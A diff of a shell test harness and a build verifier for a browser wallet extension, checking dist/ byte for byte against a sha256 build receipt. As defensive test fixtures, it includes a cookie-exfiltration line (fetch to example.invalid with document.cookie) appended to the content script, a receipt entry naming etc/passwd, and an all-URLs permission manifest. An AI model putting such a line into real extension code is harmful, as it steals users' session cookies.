@@ -272,7 +384,9 @@ check_case() {
 
 # --- cases ------------------------------------------------------------------
 #
-# Each runs with the fixture as its working directory.
+# Each runs with the fixture as its working directory. A case that regenerates
+# the receipt is saying "this is what the build emitted"; one that does not is
+# saying "the build emitted something else and this happened afterwards".
 
 c_control() { :; }
 
@@ -299,38 +413,233 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
 
 c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
 
-c_manifest_missing() { rm dist/constants-bundles.txt; }
+c_receipt_missing() { rm "$RECEIPT"; }
 
-c_manifest_empty() { : >dist/constants-bundles.txt; }
+c_receipt_empty() { : >"$RECEIPT"; }
 
-c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
+c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
 
-c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
+c_receipt_bad_header() {
+    write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
+}
 
-c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
+c_receipt_other_tree() {
+    write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
+}
 
-c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
+c_receipt_path_with_space() {
+    write_receipt
+    printf 'file %s P dist/two words.js\n' \
+        "0000000000000000000000000000000000000000000000000000000000000000" \
+        >>"$RECEIPT"
+}
 
-c_unlisted_extension() {
+c_receipt_path_outside_dist() {
+    write_receipt
+    printf 'file %s P etc/passwd\n' \
+        "0000000000000000000000000000000000000000000000000000000000000000" \
+        >>"$RECEIPT"
+}
+
+c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
+
+c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
+
+c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
+
+c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
+
+c_extra_file_with_marker() {
     cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
 }
 
-c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
+c_extra_file_no_marker() {
+    printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
+}
+
+# The four demonstrated bypasses of the pre-receipt verifier.
+
+# A 26-byte file whose entire content is the marker string used to verify ok.
+c_marker_only_stub() {
+    printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
+}
+
+# The content script runs on every page the browser loads and was never read.
+c_tampered_content_script() {
+    printf 'fetch("https://example.invalid/"+document.cookie);\n' \
+        >>dist/chrome/src/content/index.js
+}
+
+# The manifest decides permissions and CSP and was never read either.
+c_tampered_manifest() {
+    printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
+        >dist/chrome/manifest.json
+}
+
+# A dist/ that has nothing to do with this build, carrying the right file
+# names and the right marker, offered against this build's receipt.
+c_foreign_dist() {
+    rm -rf dist
+    mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
+    write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
+    write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
+    printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
+    printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
+    printf 'body{color:#fff}\n' >dist/styles.css
+}
+
+# Cases that state what the build itself emitted, and so regenerate the
+# receipt over the changed bytes.
+
+c_no_marker() {
+    printf 'var d=4;\n' >dist/chrome/src/popup/index.js
+    write_receipt
+}
 
 c_both_markers() {
     printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
+    write_receipt
+}
+
+c_marker_on_plain_file() {
+    printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
+        >dist/chrome/src/content/index.js
+    write_receipt
+}
+
+c_debug_build() {
+    write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
+    write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
+    write_receipt
+}
+
+# --- Makefile wiring --------------------------------------------------------
+
+# The verifier cases above prove what verify-build does when it is told what to
+# expect. This proves the Makefile tells it — with the mode as an argument, on
+# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
+# exported in the shell that ran make. Read off `make -n`, so no build runs.
+check_makefile_wiring() {
+    if ! command -v make >/dev/null 2>&1; then
+        SKIPPED=$((SKIPPED + 1))
+        SKIPPED_NAMES="$SKIPPED_NAMES##   - Makefile wiring (make not found)$NEWLINE"
+        echo "  SKIP (make not found): Makefile wiring"
+        return 0
+    fi
+
+    # make build must ask for release, and must scrub the flag from the
+    # verifier's environment, even when the caller has it exported.
+    _wiring_case "make build passes --expect release" \
+        build "verify-build --expect release"
+    _wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
+        build "env -u AUTISTMASK_DEBUG"
+    _wiring_case "make build-debug passes --expect debug" \
+        build-debug "verify-build --expect debug"
+    _wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
+        build-debug "env -u AUTISTMASK_DEBUG"
+}
+
+_wiring_case() {
+    _wc_name="$1"
+    _wc_target="$2"
+    _wc_want="$3"
+
+    AUTISTMASK_DEBUG=1
+    export AUTISTMASK_DEBUG
+    _wc_status=0
+    _wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
+    unset AUTISTMASK_DEBUG
+
+    if [ "$_wc_status" -ne 0 ]; then
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    make -n $_wc_target exited $_wc_status"
+        return 0
+    fi
+
+    _wc_g=0
+    printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
+    case "$_wc_g" in
+    0)
+        PASSED=$((PASSED + 1))
+        echo "  ok: $_wc_name"
+        ;;
+    1)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    make -n $_wc_target does not run: $_wc_want"
+        ;;
+    *)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    grep exited $_wc_g, so the recipe was never checked"
+        ;;
+    esac
 }
 
 run_cases() {
     check_case "control: untouched dist passes" \
-        no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
+        no release 0 "2 bundle(s) $MARKER_OFF" c_control
 
-    check_case "unlisted marker-carrying file, trailing space in name" \
+    check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
-        no release 1 "carries a debug marker but is absent from" \
+        no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
+
+    check_case "debug bundles under --expect release fail (make build with
+        AUTISTMASK_DEBUG=1 exported)" \
+        no release-envdebug 1 \
+        "is $MARKER_ON but this build was told to expect" c_debug_build
+
+    check_case "debug bundles under --expect debug pass" \
+        no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
+
+    check_case "no --expect argument" \
+        no no-expect 1 "no --expect argument." c_control
+
+    check_case "no --receipt argument" \
+        no no-receipt 1 "no --receipt argument." c_control
+
+    check_case "--expect takes release or debug" \
+        no bad-expect 1 "--expect takes release or debug" c_control
+
+    check_case "unknown argument" \
+        no unknown-arg 1 "unknown argument: --force" c_control
+
+    check_case "receipt inside the tree it describes" \
+        no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
+
+    check_case "bundle replaced by a file containing only the marker" \
+        no release 1 "does not contain the bytes this build emitted" \
+        c_marker_only_stub
+
+    check_case "content script tampered with after the build" \
+        no release 1 \
+        "dist/chrome/src/content/index.js does not contain the bytes" \
+        c_tampered_content_script
+
+    check_case "manifest.json tampered with after the build" \
+        no release 1 "dist/chrome/manifest.json does not contain the bytes" \
+        c_tampered_manifest
+
+    check_case "hand-written dist/ offered against this build's receipt" \
+        no release 1 "does not contain the bytes this build emitted" \
+        c_foreign_dist
+
+    check_case "extra file under dist/ carrying a marker" \
+        no release 1 \
+        "dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
+        c_extra_file_with_marker
+
+    check_case "extra file under dist/ carrying no marker" \
+        no release 1 \
+        "dist/chrome/src/popup/vendor.js is under dist/ but the build" \
+        c_extra_file_no_marker
+
+    check_case "extra file, trailing space in name" \
+        no release 1 "is under dist/ but the build that just ran did not emit" \
         c_trailing_space
 
-    check_case "unlisted marker-carrying file, newline in name" \
+    check_case "extra file, newline in name" \
-        no release 1 "carries a debug marker but is absent from" \
+        no release 1 "is under dist/ but the build that just ran did not emit" \
         c_embedded_newline
 
     check_case "dist/ replaced by a symlink" \
@@ -342,64 +651,88 @@ run_cases() {
 
     check_case "dangling symlink under dist/" \
         no release 1 \
-        "reading dist/chrome/dangling.js, so the file could not be" \
+        "dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
-        c_dangling_symlink
 
     check_case "symlink to a directory under dist/" \
         no release 1 \
-        "reading dist/chrome/link-to-dir, so the file could not be" \
+        "dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
-        c_dir_symlink
 
-    check_case "symlink to a listed bundle under an unlisted path" \
+    check_case "symlink aliasing an emitted bundle under another path" \
         no release 1 \
-        "dist/chrome/src/aliased.js carries a debug marker but is absent" \
+        "dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
-        c_alias_symlink
 
-    check_case "manifest missing" \
+    check_case "receipt missing" \
-        no release 1 "dist/constants-bundles.txt is missing." \
+        no release 1 "is missing. build.js writes it" c_receipt_missing
-        c_manifest_missing
 
-    check_case "manifest empty" \
+    check_case "receipt empty" \
-        no release 1 "is empty, so no emitted bundle was found to contain" \
+        no release 1 "is empty, so the build wrote nothing to it" \
-        c_manifest_empty
+        c_receipt_empty
 
-    check_case "manifest unreadable" \
+    check_case "receipt unreadable" \
         yes release 1 "is not readable, so nothing was inspected." \
-        c_manifest_unreadable
+        c_receipt_unreadable
 
-    check_case "listed bundle missing" \
+    check_case "receipt is not a build receipt" \
+        no release 1 "does not start with" c_receipt_bad_header
+
+    check_case "receipt from a different checkout" \
+        no release 1 "was written by a build of a different tree" \
+        c_receipt_other_tree
+
+    check_case "receipt names a path containing a space" \
+        no release 1 "cannot be read back unambiguously" \
+        c_receipt_path_with_space
+
+    check_case "receipt names a path outside dist/" \
+        no release 1 "names a path that is not under dist/" \
+        c_receipt_path_outside_dist
+
+    check_case "emitted file missing" \
         no release 1 \
-        "lists dist/chrome/src/popup/index.js, which does not exist." \
+        "names dist/chrome/src/popup/index.js, which does not exist." \
-        c_bundle_missing
+        c_emitted_missing
 
-    check_case "listed bundle empty" \
+    check_case "emitted file empty" \
-        no release 1 "which is empty. An empty bundle" c_bundle_empty
+        no release 1 "which is empty. An empty file" c_emitted_empty
 
-    check_case "listed bundle unreadable" \
+    check_case "emitted file unreadable" \
         yes release 1 \
-        "reading dist/chrome/src/popup/index.js, so the file could not be" \
+        "on dist/chrome/src/popup/index.js, so its bytes were never read" \
-        c_bundle_unreadable
+        c_emitted_unreadable
 
-    check_case "unlisted extension carrying a marker" \
+    check_case "emitted bundle carries no marker" \
-        no release 1 \
-        "dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
-        c_unlisted_extension
-
-    check_case "listed bundle carries no marker" \
         no release 1 "carries no debug marker, so its DEBUG state cannot be" \
         c_no_marker
 
-    check_case "listed bundle carries both markers" \
+    check_case "emitted bundle carries both markers" \
         no release 1 "carries both debug markers, so DEBUG was not resolved" \
         c_both_markers
 
-    check_case "wrong marker for the requested mode" \
+    check_case "marker on a file the build did not record as a bundle" \
-        no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
+        no release 1 "carries a debug marker but the build did not" \
-        c_control
+        c_marker_on_plain_file
+
+    check_makefile_wiring
 }
 
 # --- main --------------------------------------------------------------------
 
+# The harness cannot build a receipt without a digest, so a missing sha256
+# command is a failure here rather than a silent reduction in coverage.
+pick_sha256_tool() {
+    if command -v sha256sum >/dev/null 2>&1; then
+        SHA256_CMD="sha256sum"
+    elif command -v shasum >/dev/null 2>&1; then
+        SHA256_CMD="shasum -a 256"
+    elif command -v openssl >/dev/null 2>&1; then
+        SHA256_CMD="openssl dgst -sha256 -r"
+    else
+        echo "test-verify-build: no sha256 command found (tried sha256sum," \
+            "shasum, openssl), so no fixture receipt can be written" >&2
+        exit 1
+    fi
+}
+
 main() {
     cd "$ROOT"
 
@@ -409,6 +742,7 @@ main() {
     }
 
     echo "Testing script/verify-build failure modes..."
+    pick_sha256_tool
     probe_permission_runner
     if [ "$PERM_ENABLED" = yes ]; then
         echo "  permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -426,11 +760,11 @@ main() {
     if [ "$SKIPPED" -ne 0 ]; then
         cat <<EOF
 ################################################################################
-## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
+## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
-## PROVE THEM. This process is uid $(id -u), and no runner subject to file
+## This process is uid $(id -u), and no runner subject to file permissions was
-## permissions was available. Tried: $PERM_HOW.
+## available. Tried: $PERM_HOW.
-## Under root, chmod 000 stops neither find nor grep, so these cases would
+## Under root, chmod 000 stops neither find nor grep, so the permission cases
-## have passed without testing anything. They were skipped, not counted:
+## would have passed without testing anything. They were skipped, not counted:
 $SKIPPED_NAMES################################################################################
 EOF
         echo "test-verify-build: $PASSED case(s) passed," \

script/verify-build

@@ -1,45 +1,91 @@
 #!/bin/sh
-# script/verify-build: assert the compiled DEBUG state of the emitted
+# script/verify-build: assert that dist/ holds exactly what the build that just
-# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
+# ran emitted, and that the compiled DEBUG state of that output is the one the
-# make build / make build-debug.
+# caller asked for. Our own extension to scripts-to-rule-them-all, run at the
+# end of make build / make build-debug.
 #
-# Why this exists: DEBUG makes the publicly committed test recovery phrase the
+# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
-# output of wallet creation, so a release artifact built with it live hands
+# phrase the output of wallet creation, so a release artifact built with it live
-# every new wallet to anyone who reads the repo. The test suite cannot see
+# hands every new wallet to anyone who reads the repo. The test suite cannot see
-# this, because it loads src/shared/constants.js outside a bundle and takes
+# this, because it loads src/shared/constants.js outside a bundle and takes the
-# the fallback branch; the property only exists in the emitted output, so it
+# fallback branch; the property only exists in the emitted output, so it has to
-# has to be asserted against the emitted output.
+# be asserted against the emitted output.
 #
-# What it reads: dist/constants-bundles.txt, written by build.js from
+# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
-# esbuild's metafile, naming every emitted bundle that contains
+# taken from this script's environment. It used to be read from
-# src/shared/constants.js. Each of those must carry exactly one of the two
+# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
-# BUILD_DEBUG_MARKER literals that constants.js folds down to.
+# exported in their shell could run the release target, get a debug build, and
+# have it verified green and exit 0. There is also no default: a caller that
+# does not say what it built gets a failure, because "no opinion" is not a
+# state this can check anything against.
 #
-# It fails rather than passes whenever it cannot determine a bundle's state.
+# Why the provenance half exists: on its own, a marker grep proves nothing
-# Minified output is not a stable contract, so "matched neither form" is not
+# about where the bytes came from. A 26-byte file containing only the marker
-# evidence of anything and must never read as green.
+# string used to verify ok; the content script and manifest.json were not read
+# at all; an entire hand-written dist/ passed. The list of files to check has
+# therefore moved OUT of dist/: build.js writes a receipt naming every file it
+# emitted, with each file's sha256 and whether it is one of the bundles
+# containing src/shared/constants.js, and the Makefile creates that receipt
+# path fresh per invocation, outside the repo, and deletes it afterwards.
+#
+# What that does and does not establish. It establishes that dist/ is byte for
+# byte the output of the build.js run that just finished, with nothing added,
+# nothing missing and nothing altered in between, and that the audited bundles
+# in it compiled to the requested mode. It does NOT establish that the source
+# tree or build.js were honest, and it says nothing at all to someone handed a
+# dist/ from elsewhere: without the receipt from its own build they have no
+# input to this check. That is signing, and it is not this control.
+#
+# It fails rather than passes whenever it cannot determine something. Minified
+# output is not a stable contract, so "matched neither marker" is not evidence
+# of anything and must never read as green; the same discipline applies to
+# every read here, which is why a grep or a digest that could not be taken is
+# a hard failure and not an absence of a problem.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 
 # Absolute path to this script, resolved before anything cd's anywhere.
-# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
+# check_dist_tree re-invokes it through xargs, and $0 on its own may be
 # relative to a directory we are about to leave.
 SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
 
 # Internal re-entry flag; see scan_dist_paths.
 SCAN_FLAG="--scan-dist-paths"
 
-# A literal newline, for the is_listed guard.
+# A literal newline and tab, for the receipt-shape guards.
 NEWLINE='
 '
+TAB='	'
 
-MANIFEST="dist/constants-bundles.txt"
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
-# Set by read_marker.
+RECEIPT_HEADER="autistmask-build-receipt v1"
+
+# Set by the arguments.
+RECEIPT=""
+EXPECT=""
+
+# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
+# receipt line number the diagnostics quote.
 MARKER=""
+SHA=""
+ENTRY_HASH=""
+ENTRY_FLAG=""
+ENTRY_PATH=""
+LINENO_R=0
+
+# The sha256 command, chosen by pick_sha256.
+SHA256=""
+
+# Totals: the shape pass counts what the receipt claims, the entries pass
+# counts what was actually checked against dist/, and the summary reports the
+# latter.
+SHAPE_COUNT=0
+SHAPE_AUDITED=0
+COUNT=0
+AUDITED=0
 
 # Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
 # trap because fail() exits from wherever it is called.
@@ -50,11 +96,17 @@ fail() {
     exit 1
 }
 
+usage() {
+    echo "usage: verify-build --expect release|debug --receipt PATH" >&2
+}
+
 cleanup() {
     [ -z "$LISTING" ] || rm -f "$LISTING"
 }
 trap cleanup EXIT
 
+# --- reading files ----------------------------------------------------------
+
 # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
 # (exit 1) are answers about the emitted output. Anything else (exit 2: the
 # file could not be read) is not an answer at all, and must not be reported as
@@ -74,34 +126,46 @@ has_marker() {
     esac
 }
 
-# Does the manifest list the path $1, as a whole line? Same discipline as
+# Pick the sha256 command once. All three print the digest as the first
-# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
+# whitespace-delimited field. If none is present the digests cannot be taken at
-# manifest could not be read and is not an answer at all. Without this, an
+# all, and this script has nothing left to check with, so it fails rather than
-# unreadable manifest reads as "this file is not listed" and every emitted
+# degrading to the marker grep it used to be.
-# bundle gets reported as an unlisted one.
+pick_sha256() {
-#
+    if command -v sha256sum >/dev/null 2>&1; then
-# A path containing a newline is answered without asking grep, because grep
+        SHA256="sha256sum"
-# would read the pattern as two patterns and report a match on either. That is
+    elif command -v shasum >/dev/null 2>&1; then
-# how such a path escaped this check even once the walk stopped splitting it:
+        SHA256="shasum -a 256"
-# the half before the newline matched a listed line and the file was skipped.
+    elif command -v openssl >/dev/null 2>&1; then
-# The manifest is line-delimited, so it cannot name such a path at all, and
+        SHA256="openssl dgst -sha256 -r"
-# "not listed" is the only true answer.
+    else
-is_listed() {
+        fail "no sha256 command found (tried sha256sum, shasum, openssl), so
-    case "$1" in
+    the emitted files cannot be checked against the build receipt at all.
-    *"$NEWLINE"*) return 1 ;;
+    Refusing to report success."
-    esac
+    fi
-    _il_status=0
+}
-    grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
+
-    case "$_il_status" in
+# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
-    0) return 0 ;;
+# not a pass: it means the artifact was never read.
-    1) return 1 ;;
+read_sha256() {
-    *)
+    _rs_status=0
-        fail "grep exited $_il_status reading $MANIFEST, so it could not be
+    # Word-split on purpose: SHA256 is a command with its arguments.
-    searched and nothing was established about which bundles it lists. That is
+    # shellcheck disable=SC2086
-    a permissions or I/O fault on the manifest, not a stale manifest. Refusing
+    _rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
-    to report success."
+    [ "$_rs_status" -eq 0 ] ||
+        fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
+    and nothing was established about them. That is a permissions or I/O fault
+    on the artifact, not a mismatch. Refusing to report success."
+
+    SHA="${_rs_out%% *}"
+    case "$SHA" in
+    "" | *[!0-9a-f]*)
+        fail "$SHA256 produced no usable digest for $1, so its bytes were never
+    checked. Refusing to report success."
         ;;
     esac
+    [ "${#SHA}" -eq 64 ] ||
+        fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
+    a sha256. Refusing to report success."
 }
 
 # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -140,40 +204,189 @@ read_marker() {
     fi
 }
 
-# The manifest says which bundles must carry a marker. This says no other
+# --- the receipt ------------------------------------------------------------
-# emitted file may carry one, which catches a manifest that has gone stale
+
-# or short rather than trusting whatever it happens to list.
+# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
+# ENTRY_PATH, and require the shape rather than assuming it. The path is the
+# remainder of the line, so a path carrying a space or a tab would be read back
+# as something other than what was written; build.js refuses to emit such a
+# name, and a receipt that contains one is malformed rather than describing a
+# file. Every rejection here is a failure: a line that cannot be understood is
+# a file that would otherwise go unchecked.
+parse_file_line() {
+    case "$1" in
+    "file "*) ;;
+    *)
+        fail "$RECEIPT line $LINENO_R is not a file entry and this script does
+    not know what it means: ${1}. Refusing to report success."
+        ;;
+    esac
+
+    _pl="${1#file }"
+    ENTRY_HASH="${_pl%% *}"
+    _pl="${_pl#* }"
+    ENTRY_FLAG="${_pl%% *}"
+    ENTRY_PATH="${_pl#* }"
+
+    case "$ENTRY_HASH" in
+    "" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
+    esac
+    [ "${#ENTRY_HASH}" -eq 64 ] ||
+        fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
+    which is not a sha256: $1"
+
+    case "$ENTRY_FLAG" in
+    A | P) ;;
+    *) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
+    esac
+
+    case "$ENTRY_PATH" in
+    dist/*) ;;
+    *)
+        fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
+    $ENTRY_PATH. The receipt describes the emitted tree and nothing else."
+        ;;
+    esac
+    case "$ENTRY_PATH" in
+    *" "* | *"$TAB"* | *"$NEWLINE"*)
+        fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
+    cannot be read back unambiguously from a line-oriented receipt: $1"
+        ;;
+    esac
+}
+
+# Check one emitted file against its receipt entry: it must be a regular file
+# with exactly the recorded bytes, and its debug marker must match what the
+# caller said this build was.
+check_entry() {
+    [ ! -h "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH but that path is a symlink. The
+    build emits regular files only, so this is not the file it wrote. Refusing
+    to report success."
+    [ -f "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
+    not hold what the build emitted."
+    [ -s "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH, which is empty. An empty file
+    carries no marker and matches no digest, so this is a failure and not a
+    pass."
+
+    read_sha256 "$ENTRY_PATH"
+    [ "$SHA" = "$ENTRY_HASH" ] ||
+        fail "$ENTRY_PATH does not contain the bytes this build emitted: the
+    receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
+    to dist/ after the build, so this artifact is not the one that was built."
+
+    if [ "$ENTRY_FLAG" = A ]; then
+        read_marker "$ENTRY_PATH"
+        [ "$MARKER" = "$EXPECT" ] ||
+            fail "$ENTRY_PATH is $MARKER but this build was told to expect
+    $EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
+    build, that is why: the flag still reaches the compiler, and this is the
+    check that stops the debug artifact being taken for a release one."
+        echo "  ok: $ENTRY_PATH ($MARKER)"
+        AUDITED=$((AUDITED + 1))
+    else
+        if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
+            has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
+            fail "$ENTRY_PATH carries a debug marker but the build did not
+    record it as containing src/shared/constants.js. build.js selects audited
+    bundles with an endsWith(\".js\") test; a marker-carrying file outside that
+    set means the test no longer describes what is emitted, and the DEBUG state
+    of this file was never asserted against anything."
+        fi
+    fi
+    COUNT=$((COUNT + 1))
+}
+
+# Walk the receipt line by line, applying $1 to each file entry. The header and
+# the root line are checked on the way past; the root line is what stops a
+# receipt written by a build of some other tree being pointed at this one.
+walk_receipt() {
+    _wr_each="$1"
+    LINENO_R=0
+    _line=""
+    while IFS= read -r _line || [ -n "$_line" ]; do
+        LINENO_R=$((LINENO_R + 1))
+        if [ "$LINENO_R" -eq 1 ]; then
+            [ "$_line" = "$RECEIPT_HEADER" ] ||
+                fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
+    is not a build receipt this script understands. Refusing to report
+    success."
+            continue
+        fi
+        if [ "$LINENO_R" -eq 2 ]; then
+            [ "$_line" = "root $ROOT" ] ||
+                fail "$RECEIPT was written by a build of a different tree: it
+    says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
+    the tree it was built in."
+            continue
+        fi
+        parse_file_line "$_line"
+        "$_wr_each"
+    done <"$RECEIPT"
+
+    [ "$LINENO_R" -ge 2 ] ||
+        fail "$RECEIPT is truncated: it has no root line, so it is not a
+    receipt this script can check anything against."
+}
+
+# Pass one: the receipt has to be a receipt before anything is concluded from
+# it. A line this script cannot read is a file that would go unchecked, and a
+# receipt naming no audited bundle asserts no DEBUG state at all — both are
+# failures, and both have to be established before the tree is walked against
+# it, because a receipt entry that was misread would otherwise surface as a
+# complaint about dist/.
+count_entry() {
+    SHAPE_COUNT=$((SHAPE_COUNT + 1))
+    if [ "$ENTRY_FLAG" = A ]; then
+        SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
+    fi
+}
+
+check_receipt_shape() {
+    SHAPE_COUNT=0
+    SHAPE_AUDITED=0
+    walk_receipt count_entry
+
+    [ "$SHAPE_COUNT" -gt 0 ] ||
+        fail "$RECEIPT names no emitted files, so nothing was inspected. A
+    build always emits some."
+    [ "$SHAPE_AUDITED" -gt 0 ] ||
+        fail "$RECEIPT names no bundle containing src/shared/constants.js, so
+    no DEBUG state would be asserted at all. That is never correct, so it is a
+    failure and not a pass."
+}
+
+# Pass three: every file the receipt names, checked against the bytes on disk.
+check_receipt_entries() {
+    walk_receipt check_entry
+}
+
+# --- the emitted tree -------------------------------------------------------
+
+# The receipt says which files the build emitted. This says dist/ contains no
+# others: an artifact that was added after the build, or that a hand-written
+# dist/ brought with it, is not something the build vouches for and is not
+# something this check may pass over.
 #
-# Deliberately unfiltered by extension. build.js selects manifest entries with
+# The walk has to be exhaustive and every name has to survive it intact, so
-# an endsWith(".js") test; repeating that literal here would mean a bundle
+# four things are enforced rather than assumed:
-# emitted under some other extension escaped the manifest AND this check at
-# once, which is the correlated blind spot the two-source design exists to
-# avoid. Every regular file and every symlink under dist/ is searched — that
-# is the whole of what a build emits — so build.js's filter is the only place
-# the assumption lives and this check is what catches it being wrong.
-#
-# That claim only holds if the walk is exhaustive and every name survives it
-# intact, so four things are enforced here rather than assumed:
 #
 #   - the walk is NUL-delimited and the paths reach the check as arguments, so
 #     no name can be reshaped on the way in. Read line by line, a name with a
 #     trailing space lost it to read's field splitting and the remnant then
-#     matched a manifest line, and a name containing a newline arrived as a
+#     matched a listed path, and a name containing a newline arrived as a
-#     listed path plus an empty one. Both left a marker-carrying, unlisted file
+#     listed path plus an empty one. Both left an unchecked file in dist/ while
-#     unchecked while the script still reported success. Delivering such a name
+#     the script still reported success.
-#     intact is only half of it; is_listed also has to keep it out of grep's
-#     pattern, for the same reason.
 #   - find's exit status is checked. A subtree it cannot descend is reported on
 #     stderr and then simply missing from the listing, so an unchecked status
 #     turns "could not look" into "nothing was there" — the same conflation
 #     has_marker exists to prevent. The status cannot be read off a pipeline,
 #     so the listing lands in a file that xargs then reads back.
-#   - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
+#   - symlinks are walked too (-type l), not skipped. The build emits none, so
-#     reachable under an unlisted path in dist/ is a stale manifest whether the
+#     a symlink under dist/ is a path the build did not produce, whatever it
-#     path is a link or a file, and grep reads through the link. A link that
+#     points at, and it fails as one instead of being read through.
-#     cannot be read through — dangling, or pointing at a directory — fails
-#     hard via has_marker's exit-2 path, which is the fail-closed answer: the
-#     build emits neither, so their DEBUG state is unproven, not fine.
 #   - dist/ itself must be a directory and not a symlink, which main asserts
 #     before anything reads through it. find does not follow a symlink named on
 #     its own command line, so a linked dist/ collapses this walk to one entry
@@ -181,7 +394,7 @@ read_marker() {
 #
 # Types other than regular files and symlinks are left out on purpose: a build
 # emits none of them, and grep on a fifo would hang rather than fail.
-check_unlisted_bundles() {
+check_dist_tree() {
     LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
         fail "could not create a temporary file for the dist/ listing, so the
     tree was never walked. Refusing to report success."
@@ -191,105 +404,196 @@ check_unlisted_bundles() {
     [ "$_find_status" -eq 0 ] ||
         fail "find exited $_find_status enumerating dist/, so part of the tree
     was never walked and nothing was established about the files in it. Any
-    unlisted bundle there went unchecked. That is a permissions or I/O fault on
+    file the build did not emit could be sitting there unchecked. That is a
-    the artifact, not a stale manifest. Refusing to report success."
+    permissions or I/O fault on the artifact. Refusing to report success."
 
     _scan_status=0
-    xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
+    xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
     [ "$_scan_status" -eq 0 ] ||
-        fail "the unlisted-bundle scan exited $_scan_status: either a path
+        fail "the dist/ tree scan exited $_scan_status: either a path under
-    under dist/ failed the check reported above, or the scan could not be run
+    dist/ failed the check reported above, or the scan could not be run at all.
-    at all. Refusing to report success."
